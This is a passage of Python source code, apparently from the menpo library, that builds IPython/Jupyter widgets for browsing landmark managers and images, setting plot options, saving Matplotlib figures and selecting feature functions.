# The landmarks checkbox default value if the first image doesn't have
# landmarks
landmark_options_wid = landmark_options(landmark_options_default,
plot_function=plot_function,
toggle_show_default=True,
toggle_show_visible=False)
# viewer options widget
axes_mode_wid = ipywidgets.RadioButtonsWidget(
values={'Image': 1, 'Point cloud': 2}, description='Axes mode:',
value=2)
axes_mode_wid.on_trait_change(plot_function, 'value')
viewer_options_wid = viewer_options(viewer_options_default,
['lines', 'markers', 'numbering',
'legend', 'figure_one'],
objects_names=all_groups,
plot_function=plot_function,
toggle_show_visible=False,
toggle_show_default=True,
labels=all_labels)
# make the selection dropdown invisible, as ti is controlled by the
# landmarks selection
viewer_options_wid.children[1].children[0].visible = False
viewer_options_all = ipywidgets.ContainerWidget(children=[axes_mode_wid,
viewer_options_wid])
info_wid = info_print(n_bullets=5,
toggle_show_default=True, toggle_show_visible=False)
# save figure widget
initial_renderer = MatplotlibImageViewer2d(figure_id=None, new_figure=True,
image=np.zeros((10, 10)))
save_figure_wid = save_figure_options(initial_renderer,
toggle_show_default=True,
toggle_show_visible=False)
# define function that updates options' widgets state
def update_widgets(name, value):
# get new groups and labels, update landmark options and format them
im = 0
if n_landmarkgroups > 1:
im = landmark_number_wid.selected_values['index']
group_l = all_labels.index(landmarkgroups[im].labels)
update_landmark_options(landmark_options_wid, [str(group_l)],
[landmarkgroups[im].labels], plot_function)
format_landmark_options(landmark_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
# set correct group to viewer options' selection
viewer_options_wid.children[1].children[0].value = \
all_labels.index(landmarkgroups[im].labels)
landmark_options_wid.children[2].children[0].on_trait_change(update_widgets,
'value')
# create final widget
if n_landmarkgroups > 1:
# landmark selection slider
landmark_number_wid = animation_options(
index_selection_default, plot_function=plot_function,
update_function=update_widgets, index_description='Shape Number',
index_minus_description='<', index_plus_description='>',
index_style=browser_style, index_text_editable=True,
loop_default=True, interval_default=0.3,
toggle_show_title='Shape Options', toggle_show_default=True,
toggle_show_visible=False)
# final widget
logo_wid = ipywidgets.ContainerWidget(children=[logo(),
landmark_number_wid])
button_title = 'Shapes Menu'
else:
# final widget
logo_wid = logo()
button_title = 'Shape Menu'
# create popup widget if asked
cont_wid = ipywidgets.TabWidget(children=[info_wid, landmark_options_wid,
viewer_options_all,
save_figure_wid])
if popup:
wid = ipywidgets.PopupWidget(children=[logo_wid, cont_wid],
button_text=button_title)
else:
wid = ipywidgets.ContainerWidget(children=[logo_wid, cont_wid])
# display final widget
ipydisplay.display(wid)
# set final tab titles
tab_titles = ['Info', 'Landmarks options', 'Viewer options',
'Save figure']
for (k, tl) in enumerate(tab_titles):
wid.children[1].set_title(k, tl)
# align-start the image number widget and the rest
if n_landmarkgroups > 1:
wid.add_class('align-start')
# format options' widgets
if n_landmarkgroups > 1:
wid.children[0].remove_class('vbox')
wid.children[0].add_class('hbox')
format_animation_options(landmark_number_wid, index_text_width='1.0cm',
container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_landmark_options(landmark_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_viewer_options(viewer_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False,
suboptions_border_visible=True)
format_info_print(info_wid, font_size_in_pt='10pt', container_padding='6px',
container_margin='6px',
container_border='1px solid gray',
toggle_button_font_weight='bold', border_visible=False)
format_save_figure_options(save_figure_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
tab_top_margin='0cm', border_visible=False)
# update widgets' state for shape number 0
update_widgets('', 0)
# Reset value to trigger initial visualization
axes_mode_wid.value = 1
def visualize_landmarks(landmarks, figure_size=(10, 8), popup=False,
browser_style='buttons'):
r"""
Widget that allows browsing through a `list` of :map:`LandmarkManager`
(or subclass) objects.
The managers can have a combination of different attributes, e.g. different
landmark groups and labels etc. The widget has options tabs regarding the
landmarks, the renderer (lines, markers, numbering, legend, figure, axes)
and saving the figure to file.
Parameters
----------
landmarks : `list` of :map:`LandmarkManager` or subclass
The `list` of landmark managers to be visualized.
figure_size : (`int`, `int`), optional
The initial size of the rendered figure.
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
browser_style : {``buttons``, ``slider``}, optional
It defines whether the selector of the landmark managers will have the
form of plus/minus buttons or a slider.
"""
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
print('Initializing...')
# make sure that landmarks (groups) is a list even with one landmark group
# member
if not isinstance(landmarks, list):
landmarks = [landmarks]
# find number of landmarks
n_landmarks = len(landmarks)
# find initial groups and labels that will be passed to the landmark options
# widget creation
first_has_landmarks = landmarks[0].n_groups != 0
if first_has_landmarks:
initial_groups_keys, initial_labels_keys = \
_extract_group_labels_landmarks(landmarks[0])
else:
initial_groups_keys = [' ']
initial_labels_keys = [[' ']]
# find all available groups and the respective labels from all the landmarks
# that are passed in
all_groups = []
all_labels = []
for l in landmarks:
groups_l, labels_l = _extract_group_labels_landmarks(l)
for i, g in enumerate(groups_l):
if g not in all_groups:
all_groups.append(g)
all_labels.append(labels_l[i])
# get initial line colours for each available group
line_colours = []
for l in all_labels:
if len(l) == 1:
line_colours.append(['r'])
else:
line_colours.append(sample_colours_from_colourmap(len(l), 'jet'))
# initial options dictionaries
landmark_options_default = {'render_landmarks': first_has_landmarks,
'group_keys': initial_groups_keys,
'labels_keys': initial_labels_keys,
'group': None,
'with_labels': None}
index_selection_default = {'min': 0,
'max': n_landmarks-1,
'step': 1,
'index': 0}
markers_options = {'render_markers': True,
'marker_size': 20,
'marker_face_colour': ['r'],
'marker_edge_colour': ['k'],
'marker_style': 'o',
'marker_edge_width': 1}
numbering_options = {'render_numbering': False,
'numbers_font_name': 'sans-serif',
'numbers_font_size': 10,
'numbers_font_style': 'normal',
'numbers_font_weight': 'normal',
'numbers_font_colour': ['k'],
'numbers_horizontal_align': 'center',
'numbers_vertical_align': 'bottom'}
legend_options = {'render_legend': True,
'legend_title': '',
'legend_font_name': 'sans-serif',
'legend_font_style': 'normal',
'legend_font_size': 10,
'legend_font_weight': 'normal',
'legend_marker_scale': 1.,
'legend_location': 2,
'legend_bbox_to_anchor': (1.05, 1.),
'legend_border_axes_pad': 1.,
'legend_n_columns': 1,
'legend_horizontal_spacing': 1.,
'legend_vertical_spacing': 1.,
'legend_border': True,
'legend_border_padding': 0.5,
'legend_shadow': False,
'legend_rounded_corners': False}
figure_options = {'x_scale': 1.,
'y_scale': 1.,
'render_axes': False,
'axes_font_name': 'sans-serif',
'axes_font_size': 10,
'axes_font_style': 'normal',
'axes_font_weight': 'normal',
'axes_x_limits': None,
'axes_y_limits': None}
viewer_options_default = []
for i in range(len(all_groups)):
lines_options_default = {'render_lines': True,
'line_width': 1,
'line_colour': line_colours[i],
'line_style': '-'}
tmp = {'lines': lines_options_default,
'markers': markers_options,
'numbering': numbering_options,
'legend': legend_options,
'figure': figure_options}
viewer_options_default.append(tmp)
# Define plot function
def plot_function(name, value):
import matplotlib.pyplot as plt
# clear current figure, but wait until the new data to be displayed are
# generated
ipydisplay.clear_output(wait=True)
# get selected pointcloud number
im = 0
if n_landmarks > 1:
im = landmark_number_wid.selected_values['index']
# update info text widget
update_info(landmarks[im],
landmark_options_wid.selected_values['group'])
# show landmarks with selected options
group_idx = all_groups.index(landmark_options_wid.selected_values['group'])
tmp1 = viewer_options_wid.selected_values[group_idx]['lines']
tmp2 = viewer_options_wid.selected_values[group_idx]['markers']
tmp3 = viewer_options_wid.selected_values[group_idx]['numbering']
tmp4 = viewer_options_wid.selected_values[group_idx]['legend']
tmp5 = viewer_options_wid.selected_values[group_idx]['figure']
new_figure_size = (tmp5['x_scale'] * figure_size[0],
tmp5['y_scale'] * figure_size[1])
n_labels = len(landmark_options_wid.selected_values['with_labels'])
sel_group = landmark_options_wid.selected_values['group']
renderer = landmarks[im][sel_group].view(
with_labels=landmark_options_wid.selected_values['with_labels'],
figure_id=save_figure_wid.renderer[0].figure_id,
new_figure=False, image_view=axes_mode_wid.value == 1,
render_lines=tmp1['render_lines'],
line_colour=tmp1['line_colour'][:n_labels],
line_style=tmp1['line_style'], line_width=tmp1['line_width'],
render_markers=tmp2['render_markers'],
marker_style=tmp2['marker_style'], marker_size=tmp2['marker_size'],
marker_face_colour=tmp2['marker_face_colour'][0],
marker_edge_colour=tmp2['marker_edge_colour'][0],
marker_edge_width=tmp2['marker_edge_width'],
render_numbering=tmp3['render_numbering'],
numbers_font_name=tmp3['numbers_font_name'],
numbers_font_size=tmp3['numbers_font_size'],
numbers_font_style=tmp3['numbers_font_style'],
numbers_font_weight=tmp3['numbers_font_weight'],
numbers_font_colour=tmp3['numbers_font_colour'][0],
numbers_horizontal_align=tmp3['numbers_horizontal_align'],
numbers_vertical_align=tmp3['numbers_vertical_align'],
legend_n_columns=tmp4['legend_n_columns'],
legend_border_axes_pad=tmp4['legend_border_axes_pad'],
legend_rounded_corners=tmp4['legend_rounded_corners'],
legend_title=tmp4['legend_title'],
legend_horizontal_spacing=tmp4['legend_horizontal_spacing'],
legend_shadow=tmp4['legend_shadow'],
legend_location=tmp4['legend_location'],
legend_font_name=tmp4['legend_font_name'],
legend_bbox_to_anchor=tmp4['legend_bbox_to_anchor'],
legend_border=tmp4['legend_border'],
legend_marker_scale=tmp4['legend_marker_scale'],
legend_vertical_spacing=tmp4['legend_vertical_spacing'],
legend_font_weight=tmp4['legend_font_weight'],
legend_font_size=tmp4['legend_font_size'],
render_legend=tmp4['render_legend'],
legend_font_style=tmp4['legend_font_style'],
legend_border_padding=tmp4['legend_border_padding'],
render_axes=tmp5['render_axes'],
axes_font_name=tmp5['axes_font_name'],
axes_font_size=tmp5['axes_font_size'],
axes_font_style=tmp5['axes_font_style'],
axes_font_weight=tmp5['axes_font_weight'],
axes_x_limits=tmp5['axes_x_limits'],
axes_y_limits=tmp5['axes_y_limits'],
figure_size=new_figure_size)
plt.show()
# save the current figure id
save_figure_wid.renderer[0] = renderer
# define function that updates info text
def update_info(landmarks, group):
if group != ' ':
min_b, max_b = landmarks[group][None].bounds()
rang = landmarks[group][None].range()
cm = landmarks[group][None].centre()
info_wid.children[1].children[0].value = "> {} landmark points.".\
format(landmarks[group][None].n_points)
info_wid.children[1].children[1].value = "> Bounds: " \
"[{0:.1f}-{1:.1f}]W, " \
"[{2:.1f}-{3:.1f}]H.".\
format(min_b[0], max_b[0], min_b[1], max_b[1])
info_wid.children[1].children[2].value = "> Range: {0:.1f}W, " \
"{1:.1f}H.".\
format(rang[0], rang[1])
info_wid.children[1].children[3].value = "> Centre of mass: " \
"({0:.1f}, {1:.1f}).".\
format(cm[0], cm[1])
info_wid.children[1].children[4].value = "> Norm is {0:.2f}.".\
format(landmarks[group][None].norm())
else:
info_wid.children[1].children[0].value = "There are no landmarks."
info_wid.children[1].children[1].value = ""
info_wid.children[1].children[2].value = ""
info_wid.children[1].children[3].value = ""
info_wid.children[1].children[4].value = ""
# create options widgets
# The landmarks checkbox default value if the first image doesn't have
# landmarks
landmark_options_wid = landmark_options(landmark_options_default,
plot_function=plot_function,
toggle_show_default=True,
toggle_show_visible=False)
# if only a single landmark manager is passed in and it doesn't have
# landmarks, then landmarks checkbox should be disabled
landmark_options_wid.children[1].disabled = not first_has_landmarks
# viewer options widget
axes_mode_wid = ipywidgets.RadioButtonsWidget(
values={'Image': 1, 'Point cloud': 2}, description='Axes mode:',
value=2)
axes_mode_wid.on_trait_change(plot_function, 'value')
viewer_options_wid = viewer_options(viewer_options_default,
['lines', 'markers', 'numbering',
'legend', 'figure_one'],
objects_names=all_groups,
plot_function=plot_function,
toggle_show_visible=False,
toggle_show_default=True,
labels=all_labels)
# make the selection dropdown invisible, as ti is controlled by the
# landmarks selection
viewer_options_wid.children[1].children[0].visible = False
viewer_options_all = ipywidgets.ContainerWidget(children=[axes_mode_wid,
viewer_options_wid])
info_wid = info_print(n_bullets=5,
toggle_show_default=True, toggle_show_visible=False)
# save figure widget
initial_renderer = MatplotlibImageViewer2d(figure_id=None, new_figure=True,
image=np.zeros((10, 10)))
save_figure_wid = save_figure_options(initial_renderer,
toggle_show_default=True,
toggle_show_visible=False)
# define function that updates options' widgets state
def update_widgets(name, value):
# get new groups and labels, update landmark options and format them
im = 0
if n_landmarks > 1:
im = landmark_number_wid.selected_values['index']
group_keys, labels_keys = _extract_group_labels_landmarks(landmarks[im])
update_landmark_options(landmark_options_wid, group_keys,
labels_keys, plot_function)
format_landmark_options(landmark_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
# change group on viewer_options
viewer_options_wid.children[1].children[0].value = \
all_groups.index(landmark_options_wid.selected_values['group'])
# create final widget
if n_landmarks > 1:
# landmark selection slider
landmark_number_wid = animation_options(
index_selection_default, plot_function=plot_function,
update_function=update_widgets, index_description='Shape Number',
index_minus_description='<', index_plus_description='>',
index_style=browser_style, index_text_editable=True,
loop_default=True, interval_default=0.3,
toggle_show_title='Shape Options', toggle_show_default=True,
toggle_show_visible=False)
# final widget
logo_wid = ipywidgets.ContainerWidget(children=[logo(),
landmark_number_wid])
button_title = 'Shapes Menu'
else:
# final widget
logo_wid = logo()
button_title = 'Shape Menu'
# create popup widget if asked
cont_wid = ipywidgets.TabWidget(children=[info_wid, landmark_options_wid,
viewer_options_all,
save_figure_wid])
if popup:
wid = ipywidgets.PopupWidget(children=[logo_wid, cont_wid],
button_text=button_title)
else:
wid = ipywidgets.ContainerWidget(children=[logo_wid, cont_wid])
# display final widget
ipydisplay.display(wid)
# set final tab titles
tab_titles = ['Info', 'Landmarks options', 'Viewer options',
'Save figure']
for (k, tl) in enumerate(tab_titles):
wid.children[1].set_title(k, tl)
# align-start the image number widget and the rest
if n_landmarks > 1:
wid.add_class('align-start')
# update viewer options
def update_viewer_options(name, value):
# set correct group at viewer options' selection
if cont_wid.selected_index == 2:
viewer_options_wid.children[1].children[0].value = \
all_groups.index(landmark_options_wid.selected_values['group'])
cont_wid.on_trait_change(update_viewer_options, 'selected_index')
# format options' widgets
if n_landmarks > 1:
wid.children[0].remove_class('vbox')
wid.children[0].add_class('hbox')
format_animation_options(landmark_number_wid, index_text_width='1.0cm',
container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_landmark_options(landmark_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_viewer_options(viewer_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False,
suboptions_border_visible=True)
format_info_print(info_wid, font_size_in_pt='10pt', container_padding='6px',
container_margin='6px',
container_border='1px solid gray',
toggle_button_font_weight='bold', border_visible=False)
format_save_figure_options(save_figure_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
tab_top_margin='0cm', border_visible=False)
# update widgets' state for image number 0
update_widgets('', 0)
# Reset value to trigger initial visualization
axes_mode_wid.value = 1
def visualize_images(images, figure_size=(10, 8), popup=False,
browser_style='buttons'):
r"""
Widget that allows browsing through a `list` of :map:`Image` (or subclass)
objects.
The images can have a combination of different attributes, e.g. masked or
not, landmarked or not, without multiple landmark groups and labels etc.
The widget has options tabs regarding the visualized channels, the
landmarks, the renderer (lines, markers, numbering, legend, figure, axes)
and saving the figure to file.
Parameters
----------
images : `list` of :map:`Image` or subclass
The `list` of images to be visualized.
figure_size : (`int`, `int`), optional
The initial size of the rendered figure.
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
browser_style : {``buttons``, ``slider``}, optional
It defines whether the selector of the images will have the form of
plus/minus buttons or a slider.
"""
from menpo.image import MaskedImage
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
print('Initializing...')
# make sure that images is a list even with one image member
if not isinstance(images, Sized):
images = [images]
# find number of images
n_images = len(images)
# find initial groups and labels that will be passed to the landmark options
# widget creation
first_has_landmarks = images[0].landmarks.n_groups != 0
if first_has_landmarks:
initial_groups_keys, initial_labels_keys = \
_extract_groups_labels(images[0])
else:
initial_groups_keys = [' ']
initial_labels_keys = [[' ']]
# find all available groups and the respective labels from all the landmarks
# that are passed in
all_groups = []
all_labels = []
for l in images:
groups_l, labels_l = _extract_groups_labels(l)
for i, g in enumerate(groups_l):
if g not in all_groups:
all_groups.append(g)
all_labels.append(labels_l[i])
# get initial line colours for each available group
line_colours = []
for l in all_labels:
if len(l) == 1:
line_colours.append(['r'])
else:
line_colours.append(sample_colours_from_colourmap(len(l), 'jet'))
# initial options dictionaries
channels_default = 0
if images[0].n_channels == 3:
channels_default = None
index_selection_default = {'min': 0,
'max': n_images-1,
'step': 1,
'index': 0}
channels_options_default = {'n_channels': images[0].n_channels,
'image_is_masked': isinstance(images[0],
MaskedImage),
'channels': channels_default,
'glyph_enabled': False,
'glyph_block_size': 3,
'glyph_use_negative': False,
'sum_enabled': False,
'masked_enabled': isinstance(images[0],
MaskedImage)}
landmark_options_default = {'render_landmarks': first_has_landmarks,
'group_keys': initial_groups_keys,
'labels_keys': initial_labels_keys,
'group': None,
'with_labels': None}
image_options = {'interpolation': 'bilinear',
'alpha': 1.0}
markers_options = {'render_markers': True,
'marker_size': 20,
'marker_face_colour': ['r'],
'marker_edge_colour': ['k'],
'marker_style': 'o',
'marker_edge_width': 1}
numbering_options = {'render_numbering': False,
'numbers_font_name': 'sans-serif',
'numbers_font_size': 10,
'numbers_font_style': 'normal',
'numbers_font_weight': 'normal',
'numbers_font_colour': ['k'],
'numbers_horizontal_align': 'center',
'numbers_vertical_align': 'bottom'}
legend_options = {'render_legend': True,
'legend_title': '',
'legend_font_name': 'sans-serif',
'legend_font_style': 'normal',
'legend_font_size': 10,
'legend_font_weight': 'normal',
'legend_marker_scale': 1.,
'legend_location': 2,
'legend_bbox_to_anchor': (1.05, 1.),
'legend_border_axes_pad': 1.,
'legend_n_columns': 1,
'legend_horizontal_spacing': 1.,
'legend_vertical_spacing': 1.,
'legend_border': True,
'legend_border_padding': 0.5,
'legend_shadow': False,
'legend_rounded_corners': False}
figure_options = {'x_scale': 1.,
'y_scale': 1.,
'render_axes': False,
'axes_font_name': 'sans-serif',
'axes_font_size': 10,
'axes_font_style': 'normal',
'axes_font_weight': 'normal',
'axes_x_limits': None,
'axes_y_limits': None}
viewer_options_default = []
for i in range(len(all_groups)):
lines_options_default = {'render_lines': True,
'line_width': 1,
'line_colour': line_colours[i],
'line_style': '-'}
tmp = {'lines': lines_options_default,
'markers': markers_options,
'numbering': numbering_options,
'legend': legend_options,
'figure': figure_options,
'image': image_options}
viewer_options_default.append(tmp)
# define plot function
def plot_function(name, value):
# clear current figure, but wait until the new data to be displayed are
# generated
ipydisplay.clear_output(wait=True)
# get selected image number
im = 0
if n_images > 1:
im = image_number_wid.selected_values['index']
# update info text widget
image_has_landmarks = images[im].landmarks.n_groups != 0
image_is_masked = isinstance(images[im], MaskedImage)
update_info(images[im], image_is_masked, image_has_landmarks,
landmark_options_wid.selected_values['group'])
n_labels = len(landmark_options_wid.selected_values['with_labels'])
# show image with selected options
group_idx = all_groups.index(landmark_options_wid.selected_values['group'])
tmp1 = viewer_options_wid.selected_values[group_idx]['lines']
tmp2 = viewer_options_wid.selected_values[group_idx]['markers']
tmp3 = viewer_options_wid.selected_values[group_idx]['numbering']
tmp4 = viewer_options_wid.selected_values[group_idx]['legend']
tmp5 = viewer_options_wid.selected_values[group_idx]['figure']
tmp6 = viewer_options_wid.selected_values[group_idx]['image']
new_figure_size = (tmp5['x_scale'] * figure_size[0],
tmp5['y_scale'] * figure_size[1])
renderer = _visualize(
images[im], save_figure_wid.renderer[0],
landmark_options_wid.selected_values['render_landmarks'],
channel_options_wid.selected_values['image_is_masked'],
channel_options_wid.selected_values['masked_enabled'],
channel_options_wid.selected_values['channels'],
channel_options_wid.selected_values['glyph_enabled'],
channel_options_wid.selected_values['glyph_block_size'],
channel_options_wid.selected_values['glyph_use_negative'],
channel_options_wid.selected_values['sum_enabled'],
landmark_options_wid.selected_values['group'],
landmark_options_wid.selected_values['with_labels'],
tmp1['render_lines'], tmp1['line_style'], tmp1['line_width'],
tmp1['line_colour'][:n_labels], tmp2['render_markers'],
tmp2['marker_style'], tmp2['marker_size'],
tmp2['marker_edge_width'], tmp2['marker_edge_colour'][0],
tmp2['marker_face_colour'][0], tmp3['render_numbering'],
tmp3['numbers_font_name'], tmp3['numbers_font_size'],
tmp3['numbers_font_style'], tmp3['numbers_font_weight'],
tmp3['numbers_font_colour'][0], tmp3['numbers_horizontal_align'],
tmp3['numbers_vertical_align'], tmp4['legend_n_columns'],
tmp4['legend_border_axes_pad'], tmp4['legend_rounded_corners'],
tmp4['legend_title'], tmp4['legend_horizontal_spacing'],
tmp4['legend_shadow'], tmp4['legend_location'],
tmp4['legend_font_name'], tmp4['legend_bbox_to_anchor'],
tmp4['legend_border'], tmp4['legend_marker_scale'],
tmp4['legend_vertical_spacing'], tmp4['legend_font_weight'],
tmp4['legend_font_size'], tmp4['render_legend'],
tmp4['legend_font_style'], tmp4['legend_border_padding'],
new_figure_size, tmp5['render_axes'], tmp5['axes_font_name'],
tmp5['axes_font_size'], tmp5['axes_font_style'],
tmp5['axes_x_limits'], tmp5['axes_y_limits'],
tmp5['axes_font_weight'], tmp6['interpolation'], tmp6['alpha'])
# save the current figure id
save_figure_wid.renderer[0] = renderer
# define function that updates info text
def update_info(img, image_is_masked, image_has_landmarks, group):
# Prepare masked (or non-masked) string
masked_str = 'Masked Image' if image_is_masked else 'Image'
# get image path, if available
path_str = img.path if hasattr(img, 'path') else 'No path available.'
# Display masked pixels if image is masked
masked_pixels_str = (r'{} masked pixels (attached mask {:.1%} true)'.
format(img.n_true_pixels(),
img.mask.proportion_true())
if image_is_masked else '')
# Display number of landmarks if image is landmarked
landmarks_str = (r'{} landmark points.'.
format(img.landmarks[group].lms.n_points)
if image_has_landmarks else '')
info_wid.children[1].children[0].value = "> {} of size {} with {} " \
"channel{}".\
format(masked_str, img._str_shape, img.n_channels,
's' * (img.n_channels > 1))
info_wid.children[1].children[1].value = "> Path: '{}'".format(path_str)
info_wid.children[1].children[2].visible = image_is_masked
info_wid.children[1].children[2].value = "> {}".format(masked_pixels_str)
info_wid.children[1].children[3].value = "> min={:.3f}, max={:.3f}.".\
format(img.pixels.min(), img.pixels.max())
info_wid.children[1].children[4].visible = image_has_landmarks
info_wid.children[1].children[4].value = "> {}".format(landmarks_str)
# channel options widget
channel_options_wid = channel_options(channels_options_default,
plot_function=plot_function,
toggle_show_default=True,
toggle_show_visible=False)
# landmarks options widget
# The landmarks checkbox default value if the first image doesn't have
# landmarks
landmark_options_wid = landmark_options(landmark_options_default,
plot_function=plot_function,
toggle_show_default=True,
toggle_show_visible=False)
# if only a single image is passed in and it doesn't have landmarks, then
# landmarks checkbox should be disabled
landmark_options_wid.children[1].disabled = not first_has_landmarks
# viewer options widget
viewer_options_wid = viewer_options(viewer_options_default,
['lines', 'markers', 'numbering',
'legend', 'figure_one', 'image'],
objects_names=all_groups,
plot_function=plot_function,
toggle_show_visible=False,
toggle_show_default=True,
labels=all_labels)
# make the selection dropdown invisible, as ti is controlled by the
# landmarks selection
viewer_options_wid.children[1].children[0].visible = False
info_wid = info_print(n_bullets=5, toggle_show_default=True,
toggle_show_visible=False)
# save figure widget
initial_renderer = MatplotlibImageViewer2d(figure_id=None, new_figure=True,
image=np.zeros((10, 10)))
save_figure_wid = save_figure_options(initial_renderer,
toggle_show_default=True,
toggle_show_visible=False)
# define function that updates options' widgets state
def update_widgets(name, value):
# set channels = 0 to make sure that when plotting is triggered by the
# update_landmark_options, we don't get an error for not enough channels
tmp_channels = channel_options_wid.selected_values['channels']
channel_options_wid.selected_values['channels'] = 0
# get new groups and labels, update landmark options and format them
im = 0
if n_images > 1:
im = image_number_wid.selected_values['index']
group_keys, labels_keys = _extract_groups_labels(images[im])
update_landmark_options(landmark_options_wid, group_keys,
labels_keys, plot_function)
format_landmark_options(landmark_options_wid,
container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
# update channel options
channel_options_wid.selected_values['channels'] = tmp_channels
update_channel_options(channel_options_wid,
n_channels=images[im].n_channels,
image_is_masked=isinstance(images[im],
MaskedImage))
# set correct group at viewer options' selection
if not group_keys == [' ']:
viewer_options_wid.children[1].children[0].value = \
all_groups.index(landmark_options_wid.selected_values['group'])
# create final widget
if n_images > 1:
# image selection slider
image_number_wid = animation_options(index_selection_default,
plot_function=plot_function,
update_function=update_widgets,
index_description='Image Number',
index_minus_description='<',
index_plus_description='>',
index_style=browser_style,
index_text_editable=True,
loop_default=True,
interval_default=0.3,
toggle_show_title='Image Options',
toggle_show_default=True,
toggle_show_visible=False)
# final widget
logo_wid = ipywidgets.ContainerWidget(children=[logo(),
image_number_wid])
button_title = 'Images Menu'
else:
# final widget
logo_wid = logo()
button_title = 'Image Menu'
# create popup widget if asked
cont_wid = ipywidgets.TabWidget(children=[info_wid, channel_options_wid,
landmark_options_wid,
viewer_options_wid,
save_figure_wid])
if popup:
wid = ipywidgets.PopupWidget(children=[logo_wid, cont_wid],
button_text=button_title)
else:
wid = ipywidgets.ContainerWidget(children=[logo_wid, cont_wid])
# display final widget
ipydisplay.display(wid)
# set final tab titles
tab_titles = ['Info', 'Channels options', 'Landmarks options',
'Viewer options', 'Save figure']
for (k, tl) in enumerate(tab_titles):
wid.children[1].set_title(k, tl)
# update viewer options
def update_viewer_options(name, value):
# set correct group at viewer options' selection
if cont_wid.selected_index == 3:
viewer_options_wid.children[1].children[0].value = \
all_groups.index(landmark_options_wid.selected_values['group'])
cont_wid.on_trait_change(update_viewer_options, 'selected_index')
# align-start the image number widget and the rest
if n_images > 1:
wid.add_class('align-start')
# format options' widgets
if n_images > 1:
wid.children[0].remove_class('vbox')
wid.children[0].add_class('hbox')
format_animation_options(image_number_wid, index_text_width='1.0cm',
container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_channel_options(channel_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_landmark_options(landmark_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False)
format_viewer_options(viewer_options_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
border_visible=False,
suboptions_border_visible=True)
format_info_print(info_wid, font_size_in_pt='10pt', container_padding='6px',
container_margin='6px',
container_border='1px solid gray',
toggle_button_font_weight='bold', border_visible=False)
format_save_figure_options(save_figure_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
tab_top_margin='0cm', border_visible=False)
# update widgets' state for image number 0
update_widgets('', 0)
# Reset value to trigger initial visualization
viewer_options_wid.children[1].children[1].children[3].children[1].children[0].value = False
def save_matplotlib_figure(renderer, popup=True):
r"""
Widget that allows to save a figure, which was generated with Matplotlib,
to file.
Parameters
----------
renderer : :map:`MatplotlibRenderer`
The Matplotlib renderer object.
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
"""
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
# Create sub-widgets
logo_wid = logo()
save_figure_wid = save_figure_options(renderer, toggle_show_default=True,
toggle_show_visible=False)
# Create final widget
if popup:
wid = ipywidgets.PopupWidget(children=[logo_wid, save_figure_wid],
button_text='Save Figure')
# set width of popup widget
wid.set_css({'width': '11cm'}, selector='modal')
else:
wid = ipywidgets.ContainerWidget(children=[logo_wid, save_figure_wid])
# Display widget
ipydisplay.display(wid)
# Format widgets
format_save_figure_options(save_figure_wid, container_padding='6px',
container_margin='6px',
container_border='1px solid black',
toggle_button_font_weight='bold',
tab_top_margin='0cm', border_visible=True)
format_logo(logo_wid, border_visible=False)
def features_selection(popup=True):
r"""
Widget that allows selecting a features function and its options. The
widget supports all features from :ref:`api-feature-index` and has a
preview tab. It returns a `list` of length 1 with the selected features
function closure.
Parameters
----------
popup : `bool`, optional
If ``True``, the widget will appear as a popup window.
Returns
-------
features_function : `list` of length ``1``
The function closure of the features function using `functools.partial`.
So the function can be called as: ::
features_image = features_function[0](image)
"""
import IPython.display as ipydisplay
import IPython.html.widgets as ipywidgets
# Create sub-widgets
logo_wid = logo()
features_options_wid = features_options(toggle_show_default=True,
toggle_show_visible=False)
features_wid = ipywidgets.ContainerWidget(children=[logo_wid,
features_options_wid])
select_but = ipywidgets.ButtonWidget(description='Select')
# Create final widget
if popup:
wid = ipywidgets.PopupWidget(children=[features_wid, select_but],
button_text='Features Selection')
else:
wid = ipywidgets.ContainerWidget(children=[features_wid, select_but])
# function for select button
def select_function(name):
wid.close()
output.pop(0)
output.append(features_options_wid.function)
select_but.on_click(select_function)
# Display widget
ipydisplay.display(wid)
# Format widgets
format_features_options(features_options_wid, border_visible=True)
format_logo(logo_wid, border_visible=False)
# set popup width
if popup:
wid.set_css({
'width': '13cm'}, selector='modal')
# align logo at the end
features_wid.add_class('align-end')
# align select button at the centre
wid.add_class('align-center')
# Initialize output with empty list. It needs to be a list so that
# it's mutable and synchronizes with frontend.
output = [features_options_wid.function]
return output
def _visualize(image, renderer, render_landmarks, image_is_masked,
masked_enabled, channels, glyph_enabled, glyph_block_size,
glyph_use_negative, sum_enabled, group, with_labels,
render_lines, line_style, line_width, line_colour,
render_markers, marker_style, marker_size,
marker_edge_width, marker_edge_colour, marker_face_colour,
render_numbering, numbers_font_name, numbers_font_size,
numbers_font_style, numbers_font_weight, numbers_font_colour,
